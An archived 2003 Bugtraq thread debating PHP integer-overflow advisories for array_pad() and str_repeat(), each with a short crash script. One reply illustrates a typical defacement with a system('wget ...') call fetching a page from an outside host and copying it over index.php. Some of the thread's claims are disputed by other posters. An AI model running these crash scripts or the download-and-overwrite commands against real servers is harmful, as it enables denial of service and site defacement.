97557 2003-04-02 23:14 /48 rader/ Sir Mordred <mordred@s-mail.com>
Importerad: 2003-04-02 23:14 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <4298>
Ärende: @(#)Mordred Labs advisory - Integer overflow in PHP array_pad() function
------------------------------------------------------------
//@(#) Mordred Security Labs advisory
Release date: April 1, 2003
Name: Integer overflow in PHP array_pad() function
Versions affected: all versions
Risk: average
Author: Sir Mordred (mordred@s-mail.com)
I. Description:
PHP is a widely-used general-purpose scripting language that is
especially suited for Web development and can be embedded into HTML.
Please visit http://www.php.net for more information about PHP.
II. Details:
The function array_pad(array input, int pad_size, mixed pad_value)
returns a copy of the input padded to size specified by pad_size with
pad_value.
Unfortunately the implementation of this function suffers from an
integer overflow caused by a very long second argument and could
allow a local/remote attacker in the worst case to gain control over
the web server.
The following short script will cause a httpd child to die:
$ cat t.php
<?php
array_pad(array(1,2,3), 0x40000003, "pad");
?>
III. Platforms tested
Linux 2.4 with Apache 1.3.27 / PHP 4.3.1
IV. Vendor response
Vendor has been contacted.
________________________________________________________________________
This letter has been delivered unencrypted. We'd like to remind you
that the full protection of e-mail correspondence is provided by
S-mail encryption mechanisms if only both, Sender and Recipient use
S-mail. Register at S-mail.com: http://www.s-mail.com
(97557) /Sir Mordred <mordred@s-mail.com>/(Ombruten)
97561 2003-04-02 23:33 /39 rader/ mattmurphy@kc.rr.com <mattmurphy@kc.rr.com>
Importerad: 2003-04-02 23:33 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Externa svar till: mattmurphy@kc.rr.com
Mottagare: Bugtraq (import) <4302>
Ärende: Inaccurate Reports Concerning PHP Vulnerabilities
------------------------------------------------------------
There have been a number of reports circulating about possible
vulnerabilities in PHP. I'm going to address them one-by-one:
* Integer Overflow in socket_iovec_alloc()
WRONG! This is a Null-pointer de-reference:
EAX = 00000000
EDI = 41414141
0085353A 8B 38 mov edi,dword ptr [eax]
The access violation occurs in a read error. This is not exploitable
to gain control of the PHP interpreter, nor is it an integer overflow
of any kind. It is simply a null-read, and the lone register
controlled by user data is obliterated by that instruction if the
call succeeds.
* Buffer overflow in openlog()
I've tried passing long parameters (and large integers) to openlog().
No crashes could be caused by this "exploit". I was unable to
demonstrate any disruption to PHP via this "vulnerability", let alone
complete control. Unless the vendor or the original reporter will
confirm this with code (which was, oddly enough, MISSING from the
original advisory), I don't believe this "flaw" (if it exists) can do
any damage to a default production system.
* Integer overflow in emalloc()
Funny -- there is not an emalloc() function (nor malloc, calloc, etc.)
because ALL memory allocation is handled by the interpreter itself.
Therefore, this report is completely bogus.
--------------------------------------------------------------------
mail2web - Check your email from the web at
http://mail2web.com/ .
(97561) /mattmurphy@kc.rr.com <mattmurphy@kc.rr.com>/(Ombruten)
97565 2003-04-02 23:54 /46 rader/ Sir Mordred <mordred@s-mail.com>
Importerad: 2003-04-02 23:54 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <4306>
Ärende: @(#)Mordred Labs advisory - Integer overflow in PHP str_repeat() function
------------------------------------------------------------
//@(#) Mordred Security Labs advisory
Release date: April 1, 2003
Name: Integer overflow in PHP str_repeat() function
Versions affected: all versions
Risk: average
Author: Sir Mordred (mordred@s-mail.com)
I. Description:
PHP is a widely-used general-purpose scripting language that is
especially suited for Web development and can be embedded into HTML.
Please visit http://www.php.net for more information about PHP.
II. Details:
The function str_repeat(string input, int multiplier) returns input
repeated multiplier times.
The implementation of this function suffers from a simple integer
overflow caused by a very long second argument and could allow a
local/remote attacker in the worst case to gain control over the web
server.
The following short script will illustrate this vulnerability:
$ cat t.php
<?php
str_repeat(str_repeat("A", 0x2000), 0x40000000);
?>
III. Platforms tested
Linux 2.4 with Apache 1.3.27 / PHP 4.3.1
IV. Vendor response
Vendor has been contacted.
________________________________________________________________________
This letter has been delivered unencrypted. We'd like to remind you
that the full protection of e-mail correspondence is provided by
S-mail encryption mechanisms if only both, Sender and Recipient use
S-mail. Register at S-mail.com: http://www.s-mail.com
(97565) /Sir Mordred <mordred@s-mail.com>/(Ombruten)
Kommentar i text 97706 av Goran Krajnovic <goran.krajnovic@hinet.hr>
97706 2003-04-04 00:23 /37 rader/ Goran Krajnovic <goran.krajnovic@hinet.hr>
Importerad: 2003-04-04 00:23 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <4325>
Kommentar till text 97565 av Sir Mordred <mordred@s-mail.com>
Ärende: Re: @(#)Mordred Labs advisory - Integer overflow in PHP str_repeat() function
------------------------------------------------------------
On 2003.04.01 14:29 Sir Mordred wrote:
> The implementation of this function suffers from a simple integer overflow
> caused by
> a very long second argument and could allow a local/remote attacker in the
> worst case to gain control over the web server.
This is a bit pointless, IMHO. 99% of PHP installations run the PHP
code with the user-id of the web server process (usually a low
privilege user like 'nobody' or 'apache'). Exploiting one (of many)
bugs in PHP to 'gain control over the web server' is like getting a
remote shell on a machine and then running a buffer overflow exploit
in order just to be able to run commands instead of typing them into
the shell directly.
If an attacker has the opportunity to execude PHP code of his choice
on a target server [1], he does not need to exploit a buffer overflow
in PHP just to get the privileges of the web server user - he already
runs code with the privileges of that user. And having the ability to
run PHP code gives him just about the same level of power as getting
a non-root shell on the box.
Searching on http://bugs.php.net will give you a lot more ways to
crash PHP, and probably a number of these can be used to get a buffer
overflow, but I don't think that reporting each of them here will
solve anything. Report them to http://bugs.php.net.
[1] Usually by exploiting some of the poor programming practices in
some PHP applications, misconfigurations, or bugs. See
http://www.securityfocus.com/bid/3889 for example. In a typical
attack, this is used to execute code, and the code is usually
system('wget http://another.exploited.host/defaced-index.php');
system('cp defaced-index.php index.php') or similar.
--
Goran Krajnoviæ, dipl. ing.
[ Goran.Krajnovic@Hinet.hr ]
Hrvatski Telekom - HThinet
(97706) /Goran Krajnovic <goran.krajnovic@hinet.hr>/(Ombruten)
Kommentar i text 97839 av Jedi/Sector One <j@pureftpd.org>
Kommentar i text 97840 av Javi Lavandeira <javi@isr.co.jp>
97840 2003-04-04 21:58 /30 rader/ Javi Lavandeira <javi@isr.co.jp>
Importerad: 2003-04-04 21:58 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <4365>
Kommentar till text 97706 av Goran Krajnovic <goran.krajnovic@hinet.hr>
Ärende: Re: @(#)Mordred Labs advisory - Integer overflow in PHP str_repeat() function
------------------------------------------------------------
Hi,
On Thu, 3 Apr 2003 08:39:03 +0200
Goran Krajnovic <goran.krajnovic@hinet.hr> wrote:
> [...]
> If an attacker has the opportunity to execude PHP code of his choice on a
> target server [1], he does not need to exploit a buffer overflow in PHP just to
> get the privileges of the web server user - he already runs code with the
> privileges of that user. And having the ability to run PHP code gives him just
> about the same level of power as getting a non-root shell on the box.
> [...]
> [1] Usually by exploiting some of the poor programming practices in some PHP
> applications, misconfigurations, or bugs. See
> http://www.securityfocus.com/bid/3889 for example. In a typical attack, this is
> used to execute code, and the code is usually system('wget
> http://another.exploited.host/defaced-index.php'); system('cp defaced-index.php
> index.php') or similar.
You seem to be forgetting about PHP's safe_mode, disable_functions
and open_basedir directives. If configured properly, a user in a
server with PHP support should not be able to execute commands, read
other users' files or do anything outside his directory. Even though
PHP is running with the privileges of the web server, the user
doesn't have these privileges (again, if properly configured). Many
ISPs configure PHP in this way.
*IF* the overflow really exists *AND* is exploitable, I would be very
worried, because *THEN* users could gain the privileges of the web
server and do things they shouldn't be doing.
Regards,
--
Javier Lavandeira
International Systems Research
http://www.isr.co.jp
(97840) /Javi Lavandeira <javi@isr.co.jp>/(Ombruten)
Kommentar i text 97863 av Jon Ribbens <jon+bugtraq@unequivocal.co.uk>
97863 2003-04-05 00:21 /23 rader/ Jon Ribbens <jon+bugtraq@unequivocal.co.uk>
Importerad: 2003-04-05 00:21 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <4376>
Kommentar till text 97840 av Javi Lavandeira <javi@isr.co.jp>
Ärende: Re: @(#)Mordred Labs advisory - Integer overflow in PHP str_repeat() function
------------------------------------------------------------
Javi Lavandeira <javi@isr.co.jp> wrote:
> You seem to be forgetting about PHP's safe_mode, disable_functions
> and open_basedir directives. If configured properly, a user in a
> server with PHP support should not be able to execute commands, read
> other users' files or do anything outside his directory. Even though
> PHP is running with the privileges of the web server, the user
> doesn't have these privileges (again, if properly configured). Many
> ISPs configure PHP in this way.
>
> *IF* the overflow really exists *AND* is exploitable, I would be
> very worried, because *THEN* users could gain the privileges of the
> web server and do things they shouldn't be doing.
Then you should be very worried. Back in September 2000, Zeev Suraski
(PHP developer and co-author of Zend, the PHP4 scripting engine) said:
(http://marc.theaimsgroup.com/?l=php-dev&m=96815200329214)
> safe mode is indeed falsely advertised as being safe. It's very
> likely to contain bugs. As far as I'm concerned, it should be
> clearly advertised as something that would prevent the casual user
> from doing stuff he's not supposed to do, but isn't suitable for
> protecting against hackers.
(97863) /Jon Ribbens <jon+bugtraq@unequivocal.co.uk>/
97842 2003-04-04 22:18 /71 rader/ Steven M. Christey <coley@linus.mitre.org>
Importerad: 2003-04-04 22:18 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <4367>
Ärende: An Alternate View of Recently Reported PHP Vulnerabilities
------------------------------------------------------------
Recently, there has been a bit of commentary on certain
vulnerabilities that have been reported for the PHP language. Whether
these issues should be "blamed" on PHP itself or not, they may be of
some concern to PHP *application* developers and auditors.
>This is a bit pointless, IMHO.
>
>[snip]
>
>If an attacker has the opportunity to execude PHP code of his choice
>on a target server [1], he does not need to exploit a buffer overflow
>in PHP just to get the privileges of the web server user
I don't profess to be an expert at PHP, so I may be misunderstanding
things. But it seems like Sir Mordred is onto something, although
maybe not buffer overflows.
What if the code looked something like this?
<?php
$num = $_REQUEST['num'];
str_repeat("A", $num);
?>
You now have a remote attacker being able to use a very large $num
value to control the size of a string that gets created, without
inserting any PHP code. Maybe this could be used to consume a large
amount of memory for the PHP process, more than the developer
intended. Maybe it could then be used to exploit underlying overflows
elsewhere.
Whether there's a vulnerability in the PHP language itself or not,
applications should be careful to avoid these sorts of pitfalls.
How many people who audit PHP applications verify that the second
argument to str_repeat() is valid?
How many otherwise innocent functions in PHP can have unexpected
results if an attacker can control one of the parameters?
For example, the money_format() function takes a format string and a
number as an argument:
money_format ( string format, float number)
What if an external attacker could control the format strings to these
functions?
I noticed that PHP also has sprintf() and printf() calls, but I
haven't seen any PHP format string vulnerabilities being publicly
reported for PHP *applications*. Is that because they don't exist?
They aren't mentioned as a concern for PHP in the excellent "Study in
Scarlet" or "Secure Programming for Linux and Unix HOWTO" papers.
Most publicly reported vulnerabilities in PHP applications seem to be
focused on require/include, global variable, SQL injection, and XSS
problems. Maybe that's because remote execution and bypassing
authentication is a bigger payoff.
As I said, I'm not familiar with PHP. I welcome any clarifications or
corrections. But at the very least, it seems that Sir Mordred found 3
new PHP functions that pose some non-zero risk for PHP applications,
and maybe there are more out there.
And maybe entire classes of vulnerabilities that are assumed to be
specific to a particular language, aren't.
- Steve
(97842) /Steven M. Christey <coley@linus.mitre.org>/
Kommentar i text 97861 av Sascha Schumann <sascha@schumann.cx>
Kommentar i text 97874 av Goran Krajnovic <goran.krajnovic@hinet.hr>
Kommentar i text 97878 av <dullien@gmx.de>
97861 2003-04-05 00:08 /50 rader/ Sascha Schumann <sascha@schumann.cx>
Importerad: 2003-04-05 00:08 av Brevbäraren
Extern mottagare: Steven M. Christey <coley@linus.mitre.org>
Mottagare: Bugtraq (import) <4374>
Kommentar till text 97842 av Steven M. Christey <coley@linus.mitre.org>
Ärende: Re: An Alternate View of Recently Reported PHP Vulnerabilities
------------------------------------------------------------
Hello,
let me add a number of points from my perspective as member
of the PHP Group.
> What if the code looked something like this?
>
> <?php
> $num = $_REQUEST['num'];
> str_repeat("A", $num);
> ?>
This is a violation of the trust model in which the
application absolutely must not trust incoming data from the
client. Incoming data must be validated and proper bounds
checking needs to be applied at the application level.
It is not a specific issue of PHP; it is an issue all
applications have to address which exist and operate in a
dangerous and hostile world like the Internet.
We all know, of course, that checks are often incomplete or
even don't exist at all. That is why PHP contains a built-in
memory manager which enforces strict limits on resource
consumption. This significantly reduces the impact of
incomplete input validation.
> How many otherwise innocent functions in PHP can have unexpected
> results if an attacker can control one of the parameters?
An attacker should not directly control parameters in a
correctly written application. There should always be a
validation layer between user input and application logic.
> As I said, I'm not familiar with PHP. I welcome any clarifications or
> corrections. But at the very least, it seems that Sir Mordred found 3
> new PHP functions that pose some non-zero risk for PHP applications,
> and maybe there are more out there.
The PHP Group has initiated a semi-automated code coverage
test system which verifies the correct operation of PHP
functions when presented with uncommon input data. The
system has been extremely effective at uncovering issues and
aiding developers in addressing these.
The results of this measure will be available to our users as
part of the next release, PHP 4.3.2.
- Sascha
(97861) /Sascha Schumann <sascha@schumann.cx>/------
97874 2003-04-05 18:54 /42 rader/ Goran Krajnovic <goran.krajnovic@hinet.hr>
Importerad: 2003-04-05 18:54 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <4380>
Kommentar till text 97842 av Steven M. Christey <coley@linus.mitre.org>
Ärende: Re: An Alternate View of Recently Reported PHP Vulnerabilities
------------------------------------------------------------
On Thu, Apr 03, 2003 at 11:28:58PM -0500, Steven M. Christey wrote:
> As I said, I'm not familiar with PHP. I welcome any clarifications or
> corrections. But at the very least, it seems that Sir Mordred found 3
> new PHP functions that pose some non-zero risk for PHP applications,
> and maybe there are more out there.
There most certainly are more. Like I've already said, just browse
through the bug database at http://bugs.php.net and you'll find a
large number of bugs which result in the server process
segfaulting. In fact, one of the older ones I reported myself
(http://bugs.php.net/15096) - in that case, all it took for a
segfault was sending a PHPSESSID cookie with the value of session_id
set to null. This was fixed in php 4.2.0.
My whole point in my first comment was that there is a large number
of such bugs in php, and they tend to change their behaviour on a
version-to-version basis. Posting each and every one here, even
though they might be exploitable, seemed pointless to me. And
besides, the number of possible different setups of PHP (different
php versions, different web servers, cgi, mod_php and compiled-in
versions, etc) make it quite unlikely for an easy and portable
exploit (unlike, for example, SQL Slammer). The intruder would first
have to find a web site with an exploitable php application, and
craft an exploit particular for that site.
As a person who is both a php developer and who manages web servers,
I don't consider this to be a huge threat, but just another of php
bugs which, when reported to the bug database, will be fixed in
future versions. Most intrusions I've seen have been defacements done
by simpler means through popular forum and cms applications.
I agree that the reported vulnerability is a vulnerability and that
it potentially might be exploited, I just believe (famous last
words...) the threat level is low and that there are more such bugs
known in php, and that there are usually much much easier ways of
exploiting web applications.
I hope this mail is not taken as criticising PHP developers as it is
not intended that way.
--
Goran Krajnoviæ, dipl. ing.
[ Goran.Krajnovic@Hinet.hr ]
Hrvatski Telekom - HThinet
(97874) /Goran Krajnovic <goran.krajnovic@hinet.hr>/(Ombruten)
97878 2003-04-05 23:04 /32 rader/ <dullien@gmx.de>
Importerad: 2003-04-05 23:04 av Brevbäraren
Extern mottagare: Steven M. Christey <coley@linus.mitre.org>
Externa svar till: dullien@gmx.de
Mottagare: Bugtraq (import) <4384>
Kommentar till text 97842 av Steven M. Christey <coley@linus.mitre.org>
Ärende: Re: An Alternate View of Recently Reported PHP Vulnerabilities
------------------------------------------------------------
Hey Steven , all,
SMC> How many people who audit PHP applications verify that the second
SMC> argument to str_repeat() is valid?
Nobody, because the misbehaviour of this given function is a _bug_ and
thus not documented. Without documenting the valid input ranges, there
can be no "validation", only "guessing that this is now valid".
SMC> How many otherwise innocent functions in PHP can have unexpected
SMC> results if an attacker can control one of the parameters?
Expect the same to hold true for almost any other language. The libc's
these days are relatively "bug-free", but the libraries of PHP etc.
have not undergone the same amount of auditing.
SMC> And maybe entire classes of vulnerabilities that are assumed to
be SMC> specific to a particular language, aren't.
Any vulnerability existing in C is very likely going to occur in other
languages which (in the end) chain down to C-like code.
Cheers,
dullien
PS: Let us please just keep the entire Java discussion out of this :)
--
Mit freundlichen Grüssen
dullien@gmx.de mailto:dullien@gmx.de
(97878) / <dullien@gmx.de>/---------------(Ombruten)
97865 2003-04-05 00:27 /69 rader/ Muhammad Faisal Rauf Danka <mfrd@attitudex.com>
Importerad: 2003-04-05 00:27 av Brevbäraren
Extern mottagare: Jedi/Sector One <j@pureftpd.org>
Externa svar till: mfrd@attitudex.com
Mottagare: Bugtraq (import) <4378>
Ärende: Re: @(#)Mordred Labs advisory - Integer overflow in PHP str_repeat() function
------------------------------------------------------------
Just to add a little more to what Mr Jedi said,
Only allowing php code of the choice, may also endup in infinite
loops causing denial of service. Including that, they may attempt to
establish connection with other machines, within the LAN or imagine
bruteforcing SQL servers on the internet, or bannergrabbing for that
matter.
Having the "apache" or "nobody" privileges, the attacker could do:
- privilege escalation by using local vulnerabilities.
- destroy/ delete/ tamper the logfiles.
- destroy / delete/ tamper the webpages of other customers.
- use it as a launchpad to attack other machines.
- use it for mailbombing / spam / DoS / DDoS / Warez / Bouncing.
Regards
--------
Muhammad Faisal Rauf Danka
--- Jedi/Sector One <j@pureftpd.org> wrote:
>On Thu, Apr 03, 2003 at 08:39:03AM +0200, Goran Krajnovic wrote:
>> This is a bit pointless, IMHO. 99% of PHP installations run the PHP code with
>> the user-id of the web server process (usually a low privilege user like
>> 'nobody' or 'apache').
>[snip snip]
>> If an attacker has the opportunity to execude PHP code of his choice on a
>> target server [1], he does not need to exploit a buffer overflow in PHP just to
>> get the privileges of the web server user
>
> You missed an important point.
>
> Hosting services offering a PHP interpreter to untrusted people rely on
>PHP features to restrict their field of action.
>
> Specifically, the open_basedir and safe_mode features are a must to avoid
>people going outside their home directory with PHP scripts.
>
> If arbitrary code can be run through a PHP vulnerability, these
>restrictions disappear. People can walk through files that are supposed to
>be inaccessible.
>
> Given that many people just chmod -R 777 their directories when their
>script doesn't work and leave plaintext SQL passwords everywhere, this is
>definitely ann issue.
>
> Also don't forget that all PHP extensions aren't always enabled. For
>instance, the socket extension is typically disabled by most hosting service
>providers for obvious reasons.
>
> Once and again, a vulnerability in the PHP interpreter can bypass this
>restriction and gain access to other machines of the LAN, run DOS agents, etc.
>
> Of course, one shouldn't rely 100% on PHP userland security barriers, this
>is where tools like NetBSD/OpenBSD's systrace can really add another
>efficient layer of security.
>
>--
> __ /*- Frank DENIS (Jedi/Sector One) <j@42-Networks.Com> -*\ __
> \ '/ <a href="http://www.PureFTPd.Org/"> Secure FTP Server </a> \' /
> \/ <a href="http://www.Jedi.Claranet.Fr/"> Misc. free software </a> \/
_____________________________________________________________
---------------------------
[ATTITUDEX.COM]
http://www.attitudex.com/
---------------------------
_____________________________________________________________ Select
your own custom email address for FREE! Get you@yourchoice.com w/No
Ads, 6MB, POP & more! http://www.everyone.net/selectmail?campaign=tag
(97865) /Muhammad Faisal Rauf Danka <mfrd@attitudex.com>/(Ombruten)